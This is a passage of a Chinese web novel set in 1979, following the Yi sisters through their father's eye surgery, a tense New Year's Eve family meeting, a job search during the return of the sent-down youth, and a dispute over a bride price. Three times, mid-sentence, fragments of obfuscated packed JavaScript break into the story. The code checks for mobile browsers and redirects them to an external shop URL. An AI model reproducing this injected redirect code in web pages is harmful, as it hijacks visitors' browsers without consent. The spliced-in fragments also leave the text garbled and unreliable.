或许普通人智慧有限,总需要对比,才能体会到自己拥有什么。比起小祖奶奶无儿无女,一个人孤零零地住在深山老林里,易开元这一刻意识到,自己确实幸运多了。 “你们都是好孩子,是我没本事,让你们一个个跟着我受委屈。”易开元静默许久,缓缓抬起头,空洞无神的双眼再次滚落两行浊泪。 他这句话仿佛□□,瞬间把在场的人眼泪都催了出来。 眼泪是个很奇怪的东西,有时候被看做是无能的表现。可这一刻,却爆发出强大的力量,把一颗颗四分五裂破碎不堪的心,粘合在一起,坚不可摧,合力完成了一件艰巨的任务。 易开元终于同意去医院,怕他变卦,小祖奶奶陪着他去医院一直等着他住下来,准备手术,才让姐妹几个送她回神农山。 她们想留她一起在家里过年,告诉她已经不是几年前那种动乱的形势,不会再有人无事生非,去挖她的隐私。 老太太怎么都不肯,坚持要回去。还叮嘱易开元,刚动完手术,大年初一不用急着去给她拜年,好好在家里养着。 易开元的眼睛手术还算顺利,虽然只有一只眼睛视力能恢复正常,另一只眼睛有待观察,但总算在年前出了院。 这一年很艰难,但他们还是熬过去了。 所有的艰难,在他们全家团圆的除夕夜,都画上了句号。 6. 第006章 第006章一九七九(二) 这是易满春离家三年归来后的第一个除夕夜。 她情绪有些亢奋,因为心里在酝酿着一个大计。 全家人吃完年夜饭,各种琐碎的事情忙完,她便招呼家里所有人都围着炉火坐下来,召开一个家庭会议。 “来来来,爸妈,大姐,临妹小妹,今天的家庭会议,我们主要讨论两件事:第一件事,临妹与孟雪松的事情,我提议把彩礼退还给人家,还临妹自由,临妹的爱情要让她自己做主。” 易满春停顿了一下,除了易念春拍手叫好支持,其他人并没有想象中那么积极回应。 “其实,雪松也挺好的,知书达理,你爸生病这段时间,跑前跑后。他跟着他母亲在外多年,赚了不少钱,不然不会一下子拿出五百块的彩礼。再说,”何淑秀偷偷看了一眼易临春,声音压低了一点,“你临妹自己都说,她没读过书,还能找到比雪松更有文化的人吗?” “妈,这个我们后面再讨论,你先听我讲完。”易满春打断了她的话,“我继续说第二件事,我跟大姐商量过了,以后家里的开支由我们俩来承担。爸年纪大了,以后不再上集体工,临妹除了到集体开工,不要再去烧炭,对眼睛不好。大姐在制衣厂,我有部队给的推荐信,去城里找份工作应该没问题。” 易满春说完,满心期待有人说好,结果,除了柴火偶尔噼啪作响,房间里出奇的安静。 “这些事,都不用急,慢慢来,”还是何淑秀打破了寂静,起身,“我去弄点吃的来,小满你是去把房间收拾一下?还是过来给我打下手?” “我都行。”易满春起身跟着何淑秀出去了。 她们家的老房子,已经好些年了,是易开元费了好大劲盖的土砖瓦房。 空间倒是很大,坐北朝南,一个大的厅屋,堆满了各种农具和杂物,东西两边各有两间厢房,共用一个门,这是农村里常见的房屋结构。 西边朝北的过道房做厨房,易开元与何淑秀住朝南的里间。 东边朝北过道房易临春和易念春住着,朝南的里间以前是易定春住着,后来她去制衣厂上班,大部分时间住工厂宿舍,偶尔回来住一晚,房间大部分时间空着。 易满春回来以后说给她住,大部分时间易念春都拉着易临春和她一起挤一张床,久别重逢,姐妹之间自然有说不完的话。 让她意外的是,何淑秀把她领到厅屋对面朝南的房间,也就是她和易定春住的房间,与易临春和易念春住的朝北过道房间连着,进来后把连着两间房的门给关上反锁了。 “来,小满,我跟你说几件重要的事,”何淑秀把她拉到床边坐下来,郑重其事宣布对她来说非常重要的事,“明天初一,你跟我去袁家给七兰伯母拜年。” 易满春望着满头灰发一心为她们操劳的母亲,皱纹已爬满额头,有些心疼,不忍心直接拒绝,又很不解,“妈,我们为什么要给她拜年?又不是什么亲戚。以前不都是上午去千福庵给小祖奶奶拜年,下午去舅舅家吗?” “你傻啊,什么人更重要,你都这么大了,心里还没个数吗?”何淑秀拉着她的手,朝她坐近了一点,声音也压低了一些,“如果不是七兰伯母帮忙在袁老爷子面前给你说话,你能去部队吗?原本是你临妹先说要去的,袁老爷子投了反对票,让你去了。这事可千万别让你临妹知道。” “……”易满春感觉背后像是有一股冷风嗖嗖地刮过,她从来不知道还有这一层,心里有些埋怨何淑秀从中多事,这让她以后怎么面对易临春?可嘴上又不敢说什么。 何淑秀一如既往说起她的伤心往事,年轻的时候家族里的人被人整,她跟着遭殃,肚子被踢了一脚,再也生不出孩子来,一条腿一瘸一拐的,走多了路就疼得厉害。 易满春听了心疼不已,眼泪也哗哗流个不停,一手抹掉眼泪,一手抓紧她的手,细声细语地安慰她,“妈,你别伤心了,我们都是你的孩子。” 何淑秀摇摇头,叹了口气,“别的我不敢指望,我就指望着你,有份工作,嫁得近一点。以后我跟你爸老了病了也有个端茶倒水的。所以,你要听我的,明天我们去袁家拜年,七兰伯母很喜欢你,让她在袁老爷子面前说说好话,说不定能把你安排到农机厂工作。这样你和袁佑卿见面的机会就多了,抓紧时间把自己嫁了,女孩子结婚生孩子才是最重要的,你的安置费我们一分不动,全部留给你做嫁妆。” “不行,要先给临妹退彩礼。我跟袁佑卿,不太可能吧。你又不是不知道,从小爸就不同意我们跟袁家人走得太近。他现在刚大病初愈,可不敢再气他……” 易满春还要反驳,何淑秀“嘘”了一声,不让她再说下去,千叮万嘱,明天上午一定要早起跟她去袁家拜年。然后就拉着她去装糖果点心。 易满春回到炉火前,发现易临春不在,说是已经睡觉去了,易念春和易定春在草稿本上下五子棋。 易开元与何淑秀坐了一会儿,也回房间睡觉了。 这个除夕夜,易满春的心情像过山车,从最亢奋的顶点,跌倒了谷底。 羊年春节大年初一,她早早被何淑秀叫醒,没想到易临春更早起来离开了家,去了哪里没人知道。 易满春心情越发沉重 ,怀疑昨晚何淑秀拉着她在房间里说的那些话,被易临春听到了。 趁其他人还没起,何淑秀拉着她去了袁家。没想到还有比他们更早的人,不过都是给袁厚德拜年,像她们一样给他老婆代七兰拜年的倒是没几个。 所以他们很快就被请到了后院,里面湾里几个年轻媳妇在陪着代七兰聊天。这些媳妇她几乎都不认识,何淑秀让她怎么叫人,她就怎么叫。 几年没见,代七兰胖了好几圈,对她很热情,拉着易满春嘘寒问暖。让她中午留下来吃饭,到时候他们姐弟两个也会来。 易满春听到“他们姐弟”,不知道为何有些紧张,喝了杯开水,就起身推说家里只有她老父亲在,眼睛不好,需要有人照顾,让何淑秀留下陪着她聊天,急匆匆地逃了回来。 家里果然只有易开元在,易定春带着易念春去神农山给小祖奶奶拜年了。 易开元问何淑秀去哪了,她不敢说去袁家,只说去湾里的祠堂上香,然后也去神农山了。担心他一个人在家,就让她先回来了,等她们回来了,她再去给小祖奶奶拜年。 易开元没再追问,让她好好准备一下,过几天城里各个单位都开工了,就去找工作。 易满春让他放心,她一定会尽快找到工作。 没想到,现实给了她一记响亮的耳光。 初一到初四把过年该走的亲戚都走完以后,初五她就整装待发,背着斜挎包去城里找工作。 春寒料峭,天地万物将醒未醒,眼尖的人还是能发现,有些枝头已抽出新芽,新芽很快长成绿叶,光秃秃的树转眼就裹上了绿装。 易满春穿着一身褪色的旧军装,齐耳短发上压了个军帽,拿着部队开的推荐信,跑了近一个月,竟然没有一家单位愿意接收她。 她不知道问题出在哪里,但似乎明白了,除夕那天,当她说出那两条提议,家里人为什么会沉默。 除夕之后,她就没再见到易临春,确信她在刻意躲着她。 原本她还想找到她,跟她解释清楚。她这个人不喜欢心里装着事,家人之间应该坦诚相待,和和美美,这是她从小就期望的。 只是这段时间一直忙着找工作,就想等工作定下来再说。可这一天,似乎遥遥无期。 现在,连她自己都不知道怎么面对易临春了。 易满春虽然知道希望渺茫,但每天还是早出晚归,不敢留在家里,怕面对易开元那种让人窒息的沉默和叹息。 该跑的地方都跑遍了,没地方去,她就在老街一家茶摊上,一坐就是一天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274125|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >城里多了好多类似的露天集市,她问摊主大姐,以前不是不让私自摆摊,什么东西都要到供销社去凭票购买,为什么现在变化那么大? 摊主是个返城的知青,虽然有城市户口,却没有工作。她给她比划了两个数字,一个七,一个六,然后不停地摇头。 “七十六?七百六?七千六?还是七万六?”易满春很不解,“你一天摆摊能赚那么多钱吗?” “哎哟我的妈呀,小姑娘你真是太可爱了。”摊主笑得前俯后仰。 “什么小姑娘,过了年,我都二十一了。”易满春从小因为长得胖,总被人说可爱,这是她最不喜欢听到的评价。 在部队三年,她瘦了不少,但比一般人还是胖一些,竟然还脱离不了“可爱”这样的字眼。 这会儿茶摊上没什么人,摊主索性坐下来,问她是做什么的。 易满春一向对人没什么戒心,很容易跟人自来熟,一五一十地说了自己这段时间找工作的事情。 “唉,你真是不走运。往年像你这种部队复原归来的,很多单位抢着要。今年赶上知青返城高峰,有七百六十万上山下乡的青年返回到城市。那些国营单位效益好的没几个,还不停地塞人,可即便这样也塞不下那么多人。所以我就出来摆摊了,没办法,要生活。” “……”易满春恍然大悟,完全没想到现实是如此残酷。 “部队?你复原的时候应该会给你安排工作啊?” “我没有选择安排工作,拿了安置费。”易满春心里想,如果她有预知未来的能力,头一年就知道今年这种情形,她会不会在复原的时候,选择安排工作,而不是拿一笔安置费? 她当即就否定了,因为她复原的直接原因,是父亲的眼睛急需钱动手术。 摊主人挺好,让她不要再去那些单位碰运气了,基本不可能,放低要求,早做打算,可以像她这样摆个摊什么的,养活自己肯定没问题。 易满春觉得她说的挺有道理,只是担心家里人不同意,打算早点回去,跟他们商量一下,尤其是易临春,她主意多,说不定能给她一些建议。 她也是该结束早出晚归名义上找工作事实上四处晃荡的日子了。 晚饭的时候,等易开元与何淑秀都上了桌,易满春放下碗筷,坐直脊背,鼓起勇气,“妈,你给我点钱。” “怎么又说钱的事?我们不是说好了,你临妹退不退彩礼,先不着急。”何淑秀给易开元夹菜,再次重申,“你的安置费全部留给你做嫁妆。” 易念春靠近易满春,悄悄在她耳边嘀咕了一句,“钱只要进了她的口袋,想再拿出来,比登天还难。” 何淑秀当没听到,让她好好吃饭,吃完饭赶紧去干活,剁猪草、洗衣服、收拾房间之类的活都等着她呢。 易开元一如既往地不吭声,专心吃饭。 易满春有些无奈,这段时间,她好几次提出,要拿钱给易临春退彩礼,不然她都不好意思去找她,可每次都被拒绝,她也不敢再开口了。 “这次,不是临妹的事。我想拿点本钱,去老街摆个摊……”她声音低得跟蚊子一样,几乎听不到。 可无论多小的声音,给围坐在桌前的人都带来了不小的震撼,纷纷停下手中的筷子,看着她,一时都反应不过来该如何回应她。 还是易念春反应快,“我觉得挺好的,老街现在可热闹了,临姐和大姐去年也在老街摆过摊。二姐,我周末不上课就去给你帮忙。” 许久,易开元叹了口气,什么话也没说,继续埋头吃饭。 “先别急,再等等,我明天再去问问那边什么情况。”何淑秀自然不敢说去袁家问问。 “……”她心情有些沉重,原以为他们会支持,可现在看来,摆摊在他们眼里,大概就不算什么正经工作。 易满春突然有些迷茫,刚复原回来时那种信心满满的状态,似乎一去不复返了。 7. 第007章 第007章一九七九(三) 迷茫的不只是易满春,这样的情绪,易定春同样挥之不去。 甚至,在这个破旧迎新的时代,整个中华大地似乎都弥漫着一种迷惘的情绪。 旧的该不该破?怎么破?新的路那么多,该选择哪一条?最终通往哪里?选错了怎么办? 易定春原本已经放弃的上大学的幻想,在易开元眼睛动完手术,年后与大学第一个寒假归来的卢昱山见面后,又一次被点燃了。 卢昱山自去年进大学后,隔三差五给她写信,几乎就没断过。一封又一封信中描绘的精彩世界,对她来说充满魔力。 “天安门国庆典礼上,出现了一个名叫李嘉诚的香港商人。10月22日,邓公出访日本,访日之后,很快又访新加坡……12月26日,第一批50名赴美留学的访回学者飞离北京……” 卢昱山显然非常关注时事,也从中看到了一种动向,这个百废待兴的国家,封闭了多年,如今要打开国门,迎接四方来客。 “不要继续做一个‘我再想想’小姐,外面的世界很精彩,一定要出去看看,去经历这样一个伟大的时代,才不枉此生。” 卢昱山返校前,对她寄予厚望,鼓励她再拿起书本,考大学,他在大学等她。 他自己不光要读大学,以后还要出国留学,去日本,去当今世界经济发展最快的国家,学习他们的经验,回来建设祖国。 一方面是外面世界无穷的诱惑力,一方面是现实世界的冷酷。 年后工厂又涌进一批新人,对于原本管理就松松垮垮的制衣厂,几乎是雪上加霜。 易定春去年下半年顶着压力,在老街供销社门口支摊卖大衣,几个月的时间,确实消化了很大一部分库存。 年底她们领到了没有按时发的工资,可也是杯水车薪。现在一下子又涌入那么多新人,根本就没有那么多岗位消化这么多人。 易定春走在工厂休闲区的一条林荫小道下,怀里抱着一本书,想到这些,心情无比沉重。 她很想听从卢昱山的建议,再考一次大学。只是想到家里的现状,又很矛盾。 除夕夜,易满春说以后由她们两个来承担养家的责任。 她当时听了,既不能说这个提议不对,甚至觉得这种话应该由她这个大姐提出,但又没办法很爽快地答应。因为她当时受卢昱山影响,又萌生起了考大学的念头。 年后,她又陷入了一种理想与现实的拉锯战,迟迟无法下结论。 她总是习惯性说“我再想想”,卢昱山不止一次嘲笑她是“我再想想”小姐。她也想果断起来,可又总是顾虑重重。 “师父,”易定春听到有人叫她,思绪被打断,循声望去,常秀英气喘吁吁地跑到她面前,“你快去看看,人事科贴出公告了,除了市场科,各科都要减员,尤其是生产科,要大幅度减少车间职工数量。” “名单已经贴出来了吗?”易定春心里一惊,却也有一丝窃喜,如果她被迫离开制衣厂,那就有理由专心致志地去考大学了。 常秀英跑得太快,口干舌燥,说不出话来,指着公告栏的方向,让她自己去看。 她们两个一前一后快步跑到已经围满了人的公告栏前,奋力挤到前面,一字一句看完公告。 没有具体的名单,只是通知各科科长提前做好准备,先拟一份名单,交给人事科审核。 “惨了,我肯定要被减掉了,我又不像林昱凌那么活跃,虞科长和罗科长都能巴结上,她铁定是稳了。”常秀英带着哭腔,跟着易定春走出人群,“师父,你应该也不会被减掉的吧?” “我也说不好。”易定春刚进工厂的时候,虞亚群对她评价很高,可去年把她借调到市场科去了。 在市场科呆了半年,很多人对她有意见,她现在两边不是人。 “真不公平,去年要不是因为你,我们都领不到工资。结果都没有给你发奖金,还说要罚你……”常秀英声音低下去,小心翼翼地看着她。 易定春自然也听到了工厂里的一些传言,虽然她可以算是仁城国营单位摆摊第一人,给工厂消化了库存,但也坏了规矩,更带来了不好的风气。 以前那些小摊小贩都在上石里那些偏僻的地方偶尔出现,现在几乎都明目张胆地出现在老街。 虽然多次明令禁止国营单位以外的私人小贩在供销社门口那条街摆摊,但根本无法杜绝。工商管理人员来查,马上消失,他们一走,摊贩们像离离原上草,野火烧不尽,春风吹又生。 所以厂里的领导,甚至更上面的领导,有很大一部分,都认为对她要严厉惩戒,以儆效尤。 但也有一部分声音为她说话,认为她有勇有谋,敢于破除陈规,改革创新。只是这样的声音很少,也很微弱。 易定春自己也不知道,她到底是错了,还是对的。对未来如何选择,也游移不定,不知道怎么做才好。 她想去问小祖奶奶,可很快又打消了这个念头。老人家年纪一大把了,总是被她们姐妹几个轮番叨扰,心里有些过意不去。 她忽然想到了一个人。 易定春下午一上班,就去了市场科办公室。办公室里的人原本三三两两地在聊天,她一进去,都不约而同地散了。 她在自己工位上坐下来,经过半年的努力,她这个借调人员终于在这个办公室有了一个属于自己的座位,不再是长期在仓库、供销社飘荡的闲散人员。 门口传来熟悉的声音,“易定春,来我办公室一趟。” 姚雪莲在门口晃了一下,扔下一句话就走了。 易定春听到办公室里又有人在拐弯抹角地嘲讽她,大概意思就是,还好科长是女的,要是男的,估计早就爬到人家床上去了。 她对这些酸言酸语一概充耳不闻,平时没事也不太来这个办公室。 易定春起身走到隔壁姚雪莲的办公室,房间不大,除了一张办公桌,背后还有一个书柜,里面全都是书。 姚雪莲让她坐,递给她一个牛皮纸信封,笑望着她,“小易,在市场科这么久了,感觉怎么样?适不适应?” “感觉挺好的,谢谢姚科长关心,”她言不由衷,随手接过信封,一摸,里面竟然是钱,很意外,“这是?” “给你申请的奖金。”姚雪莲往后靠向椅背,笑望着她,“比别人晚了这么久才下来,是不是难过了好一阵?心里一定自编自导各种阴谋诡计的戏码了吧?” 易定春不好意思地笑了,心里着实感动,去年得知父亲要动手术缺钱,她私人借了她一些。如今这样风向不明的时刻,很多人对她避之不及,她竟然还愿意出面为她争取奖金。 “姚科长,我正想找您,向您请教一些问题。”原本她还有些犹豫,现在有着这股感动的劲,她对眼前这位不是她领导的领导,已经完全信任,毫无保留地说了自己现在面临的问题。 姚雪莲很认真地听着,不时眉头紧皱,一会儿又舒展开来,偶尔点点头,表示肯定,从始至终没有打断她。 易定春说完以后,长输一口气,“您说,我去年是不是不应该放弃上大学?今年再去考,你觉得可行吗?” “你心里其实并不清楚,自己真正想要什么,对吧?”姚雪莲思索半晌,清了清嗓子,反问她,然后自问自答,“或者,你什么都想要,既想上大学,但又不想背负自私的骂名;既想通过这份工作赚钱,给你父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274126|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲动手术,供养你的家庭,成全你孝顺的美德,以及家中有担当的长姐的好名声,但又想追求自己的梦想。我说的对吗?” 易定春一下被问住了,显然无法否认,她确实想要的太多。 “不做决定,一直徘徊不前,是最坏的决定;听从自己的内心做了某个选择,坚定不移地去执行,就是最好的决定。没有哪一种具体的决定是绝对的好,或绝对的坏,因为总要有取舍,什么都想抓住,最后往往什么都失去。” 易定春觉得她说得很有道理,可感觉又好像什么都没说。有时候小祖奶奶说话也会给她这种感觉,好像话都说尽了,又好像什么都没说。 她们显然都不想干扰她内心的想法,把最终决定权交给她自己,而不是替她做决定。 也许她还年轻,对这些抽象的话题,不容易消化,便转移到工作上的事来,“姚科长,他们都说虞科长把我当皮球踢给你,是为了为难你,你肯定知道,为什么还对我这么好?” 姚雪莲笑着摇了摇头,好一会儿,才严肃地看着她,回去查查这几句话的意思,“守司门户,审察先后,度权量能,校伎巧短长。” 易定春心里一惊,对眼前这个看《鬼谷子》的女人,由衷敬佩,可又有一丝恐惧。 她从小祖奶奶拿过来的书里面有这本书,她都看完了,这句话是第一篇《捭阖》中的一句。 大概意思是,要把握事物的关键,审察事物的前因后果、轻重缓急,权衡对方的思维能力和实践能力,比较其技巧优劣长短,然后借物举事。 简而言之,她欣赏她,对她好,是因为她有一定的能力,可以为她创造某种价值。 “你不用想太多,也不用因为虞总这样做,觉得受伤。”姚雪莲似是觉察到她的心情,安抚她,“我相信你依然是她欣赏的人,她把你借调到我这里来,肯定有她的无奈,但也是她的一种慈悲。否则,她真想让你走,早就直接找理由把你开除了。不过,她为什么要你离开?你应该还不至于对她的现在的位置造成威胁吧?还是有人让她这么做?什么目的?” “……”易定春不知道怎么跟她解释,因为涉及到小祖奶奶,她进工厂前,易开元千叮万嘱,一定不要跟工厂里的任何人提起她。 姚雪莲有事情要出去,也没再继续追问什么,主动结束话题,“听我的,不要被那些爱搞阴谋的人牵着鼻子走,对那些不值得我们浪费时间和精力的人,无视就是最好的回应。我们专心做好我们自己的事就够了。至于是否再去考大学这件事,你自己回去再仔细权衡一下,尽快决定好告诉我。” 易定春郑重点头,向她再次表示感谢,起身告辞。 回到宿舍,门卫过来给她传话,说她家里有人在门口等她,让她赶紧过去一趟。 她担心家里出了什么事,明天是周末,她已经有一段时间没有回去,刚好回去一趟。便简单收拾了东西,以最快的速度跑到工厂门口,看到易满春愁眉苦脸的样子。 易满春是藏不住话的人,回去的路上,一五一十把这段时间找工作的艰难,尤其是和易临春的问题,竹筒倒豆子一样一股脑儿倒出来。 “大姐,你说,临妹是不是听到我跟妈的话了?她是不是生我的气了所以躲在外面不想见我?”易满春边说边抹眼泪,还像小时候一样,特别容易哭。 “你别多想,临妹应该很快就会回来了。”易定春估摸着快到春耕的时候了,她很了解易临春,再生气再难过,也不会放任家里的事不管。 易满春听到她的安慰,才破涕为笑,开始绘声绘色地说起她要摆摊的计划。 易定春耐心听着,内心有些沉重,那个困扰她许久的问题,这一刻有了答案。 8. 第008章 第008章一九七九(四) 自春节消失的易临春,在上高坡呆了一个多月后,再次出现在神农山。 她没有像往常一样直奔小祖奶奶住的地方,也没有像大多数香客一样顶礼膜拜众佛像,只是在万福寺大殿里驻足停留。 仰望正厅的巨幅雕像,她脑海里一堆的疑问。 不是说众生平等吗?菩萨不是保佑世间所有受苦受难的人吗?为什么她从来没有感受到平等和庇佑? 从小她跟两个姐姐争着住朝南的房间,母亲总是说她不应该跟姐姐争,急了就对她下狠手打一顿,到现在她依然住的是朝北的房间,哪怕朝南的房间空着,她也不能住。 她只上了一年半学,七岁的时候,母亲让她回来带弟弟妹妹,她哭着质问,为什么两个姐姐比她大,她们不带弟弟妹妹,却要她来带?她也想上学啊。 她后来明白了,母亲是她的亲生母亲,是两个姐姐的后妈,她的亲生母亲牺牲了她这个亲生女儿,善待两个继女,全了她贤惠善良的后妈的美名。 母亲去世了,她有了后妈。她跟姐姐们是平等的了。 十七岁,她拼命争取了顶班进工厂的机会,父亲说她读书少,大姐读书多,让大姐去。 更早的时候,应该是十六岁,她报名去参军,原本以为万无一失。可突然接到村里的通知,她必须留下来继续到集体开工,因为没有通过征兵筛选,倒是易满春通过了。 她从来没有想过其中有什么见不得光的事情。除夕夜,她去房间换衣服,无意间听到何淑秀与易满春的谈话,才知道,原来何淑秀说服了袁家人,阻止了她去部队。 至此,读书、顶班进工厂、参军,能够改变命运的机会,一个都不属于她。命运的链子,一环扣一环,第一环断开,后面的每一环都扣不上了。 除夕夜,举家团圆的喜庆日子,她躲在被窝里无声地哭了整整一晚上。 第二天她早早地离开,顶着一双红肿的眼睛逃到了上高坡,要么在炭窑那边忙碌,要么就躲在外公那破旧的土房子里睡觉。只因不知道怎么面对家里的人。 过去二十年的粗粝生活,把她磨炼得坚韧如磐石。可内心她依然是个女子,渴望被爱的女子,藏着不为人知的脆弱,知道残酷真相的那一刻,她感觉自己的承受力已经达到极限,仿佛空气中的一粒灰尘都能把她压倒。 而易家的人,每一个都像一座山,她被压得喘不过气来,只能逃离。 连自己的父母都不能平等地爱自己的孩子,菩萨能做到吗? 同样是父母生的孩子,有的人可以读书,有的人不行;有的人能进工厂,有的不行;有的能参军,有的不行……行与不行的标准,是定好的,还是是随机的?不管是哪种,机会都不属于她。 可见,众生从来就不平等。至少对她来说是不平等的。 她从一出生就被打上了标签,这个标签限定了她的一生,她只能在既定轨道禹禹独行。 易临春想到这一点,对眼前这巨幅神像无比地失望,转身,绕到神像后面,竟然与那个她同样不知道怎么面对的男人不期而遇。 孟雪松正仰头看屋顶,像是在研究什么,显然意识到有人,转头看向她。 她正要转身逃离,却已经来不及。 “这么巧?你也来上香?”孟雪松已经大步绕到了她面前,笑望着她,“我是陪我妈过来的,没想到在这里能碰到你。” 易临春不知为何,看到他的笑,想到了正厅巨幅神像的微笑,以前看着很舒服,现在却像针扎着一样浑身难受,让她想逃离。 “是这样的,本来我家里人已经答应,把彩礼退给你,可是……”易临春想到这一点就难过,按照她对何淑秀的了解,她是绝对不会把易满春的安置费拿出来,给她退彩礼。 可既然彩礼收了,按照习俗,她们家应该挑个日子,让她去他们家一趟,这样就算把他们的婚事定了下来,择日再办正式嫁娶仪式。 年前刚收到钱那段时间,他们忙着易开元手术的事,这还说得过去。年后她不想呆在家里,虽然偶尔也想到了这件事,可不知道用什么办法解决。一拖再拖,拖到了现在。 “那个不急,”孟雪松皱了皱眉头,似是在思索,怎么说这件棘手的事合适,半晌,却吐出一句无关紧要的话,“你看起来比去年瘦了很多,别太劳累了。” “……”易临春眼眶一热,眼泪差点蹦出来,把头转向一边,极力把眼泪逼回去,好一会儿才平静下来,笑望着他,“你还要呆多久?有没有时间?带你去一个地方。” 她想着大年初一没有去给小祖奶奶拜年,今天特意跑过来看她的。为什么突然想到叫上他,她也说不清,或许是因为他刚才那句暖到她心坎上的话吧。 他让她等会儿,他绕到前厅,很快又回来,“走,我妈要去给他们帮忙,中午要留下来吃顿斋饭,没那么快回去。” 他们从后门离开,走了一段山路,到了千福庵,小祖奶奶再次看到她,很是开心。 老人家眼尖的很,很快发现与往常不同的地方,多了孟雪松。 小祖奶奶很热情地招待他,把各个角落藏着的吃食都翻了出来,甚至把平时舍不得喝的茶也泡上了,茶具也比平时讲究得很。 三个人围坐着炭火拉家常。 房间不大,也很简陋,但收拾得很干净整洁,让人感觉很温馨。不知为何,往常来并不觉得小,这会儿塞进他们两个人,感觉空间显得局促。 易临春甚至感觉有些喘不过气来,炭盆的暖意充盈着狭小的空间,她觉得有些热。 孟雪松到底读书多,跟小祖奶奶很聊得来,天南地北,没什么他听不懂的。闲聊之余,他问小祖奶奶,“易家这几个姐妹的名字,应该都是您取的吧?取得很有水平,意境深远。” 小祖奶奶眼神矍铄,笑眯眯地反问他,“那你说说,都有什么意境?” “好,我试试,说得不对您给指出来,我学习一下。”孟雪松端起茶杯,喝了口茶放下,再提起茶壶,给小祖奶奶添了茶,也给易临春倒满,放下茶壶,望了她一眼。 “临春,我猜应该出自词牌名《临江仙》,苏东坡有一首词《临江仙·送钱穆父》:一别都门三改火,天涯踏尽红尘。依然一笑作春温。无波真古井,有节是秋筠。惆怅孤帆连夜发,送行淡月微云。尊前不用翠眉颦。人生如逆旅,我亦是行人。” 易临春和他对望了一眼,在他的注视下,有些招架不住,低下头,感觉脸火辣辣的,虽然听不懂他说什么,但还是很惊讶,他记忆力竟然这么好,能记得那么多诗词。 小祖奶奶笑而不语,眼神示意他继续往下说。 “定春,应该出自词牌名《定风波》,苏东坡另一首词《定风波·莫听穿林打叶声》:莫听穿林打叶声,何妨吟啸且徐行。竹杖芒鞋轻胜马,谁怕?一蓑烟雨任平生。料峭春风吹酒醒,微冷,山头斜照却相迎。回首向来萧瑟处,归去,也无风雨也无晴。” 孟雪松一口气念出完整的词,停顿片刻,语速加快了一些,“满春,《满江红》,三十功名尘与土,八千里路云和月。莫等闲,白了少年头,空悲切!或者是《满庭芳》,江南好,千钟美酒,一曲满庭芳。念春,《念奴娇·赤壁怀古》,大江东去,浪淘尽,千古风流人物……” 他解释后面这几首词记不得了,只记得其中几句,问小祖奶奶他猜得对不对。 小祖奶奶笑着点头,却没有说话。 易临春一直没说话,清了清嗓子,解释,“我爸说,大姐出生在立春,可叫立春的人太多,就叫定春。他喜欢听《红楼梦》的故事,跟书里一样,其他几个妹妹都随了大姐的春字,二姐出生在小满节气,所以叫满春,我是冬天生的,临近春天,叫临春。小妹,我妈生完她就去世了,我爸说要纪念母亲,所以就叫念春。” 结果,没几年何淑秀就进门了。当然,这话她只能在心里说了。 “原来是这样,那就是我过度解读了。”孟雪松有些不好意思地笑了,露出洁白的牙齿,眼睛黑亮有神,眉毛浓厚,虽然不是很帅,但整个人温文尔雅,给人感觉很舒服。 易临春眼神闪烁,有意无意地在他坐的方向扫过,每扫一次,都像是做了一件见不得人事,心里慌得很,小心掩饰自己并没有在偷看他。 “不,你们说得都对,”小祖奶奶声音低下去,像是陷入回忆中,声音低沉而惘然,“也不对,荣哥哥喜欢苏东坡,我也想念他……们……” 他们聊了好久,估摸着时间已经不早了,才辞别小祖奶奶,走出小屋。 孟雪松像是对房子很感兴趣,绕着临时搭建的小屋看了一圈后,郑重其事地说,“这木屋时间长了,不牢靠,开春的时候,我找人用水泥和砖,砌一个像样一点的房子。” 孟雪松这句话,把她的视线牢牢锁在了他身上,更把她内心的犹豫和矛盾,彻底打消了。 “你之前问我,什么时候去你家坐坐,你看你们家什么时候方便?”易临春这一刻很坚决。 此前对家人的失望,让她心底像被掏了个洞,里面空荡荡的,一颗心像悬着没有着落。这一刻又像是被什么填补了这个洞,悬着的心落了地,变得踏实了。 孟雪松很意外地看着她,眼神里有惊讶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她扒了几口饭,强行咽了下去,便再也吃不下,索性放下碗筷,扫视了一圈桌上的人,视线落在桌子中间。 “爸,我有个请求,希望你们能答应。”易临春余光瞥见,易开元也放下了碗筷。 她鼓起勇气往下说,“二姐那天说,以后这个家的开销由她跟大姐来承担,我们三个都成年了,年龄相差又不大,过了年我也二十了,有手有脚,当然也应该承担一份。” 易满春刚要开口说话,被何淑秀按住,眼神示意不要打断她。 “难为你了,”易开元在家里一向话不多,今天似乎破了例,“小五为这个家的付出,你们姐妹几个心里应该都清楚。不管今天有什么请求,只要我们能做到,都不会拒绝。你尽管说。” “我想自己拿着何家的彩礼五百块钱,不用你们给我置办任何嫁妆,怎么花这笔钱,由我自己来决定。” “那怎么行?”易临春话音刚落,何淑秀就提出抗议,眼泪鼻涕一大把,一边抹眼泪一边哭诉,“你这个孩子,也太不把我放在眼里了。哪家嫁女儿,不是做妈的置办嫁妆?我连……” “闭嘴!”易开元喝令一声,把何淑秀的哭诉声堵了回去,“好,我让你妈一会儿就把钱拿给你。先吃饭吧。” 这一次,易开元没有像从前那样,对她的请求,最后都以各种理由不了了之。 